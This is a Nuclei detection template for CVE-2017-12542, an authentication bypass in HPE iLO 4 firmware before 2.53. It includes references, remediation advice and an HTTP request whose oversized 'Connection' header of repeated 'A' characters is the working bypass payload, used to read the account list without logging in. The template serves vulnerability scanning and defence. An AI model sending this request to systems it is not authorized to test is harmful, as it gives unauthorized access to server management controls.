id: CVE-2017-12542

info:
  name: HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass
  author: pikpikcu
  severity: critical
  description: HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Upgrade HPE Integrated Lights-out 4 (ILO4) to version 2.53 or later to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44005
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12542
    - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us
    - https://www.exploit-db.com/exploits/44005/
    - http://www.securitytracker.com/id/1039222
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-12542
    epss-score: 0.99294
    epss-percentile: 0.99934
    cpe: cpe:2.3:o:hp:integrated_lights-out_4_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: integrated_lights-out_4_firmware
  tags: cve,cve2017,ilo4,hpe,auth-bypass,edb,hp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/v1/AccountService/Accounts"

    headers:
      Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "iLO User"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f926f333838b781fe697d318f1b3b1ec1535662cd25ebe9e169500a48c45e693022039233771d9016617b6daf657ce1888ba08694e296ff60194fb98f880febae474:922c64590222798bb761d5b6d8e72950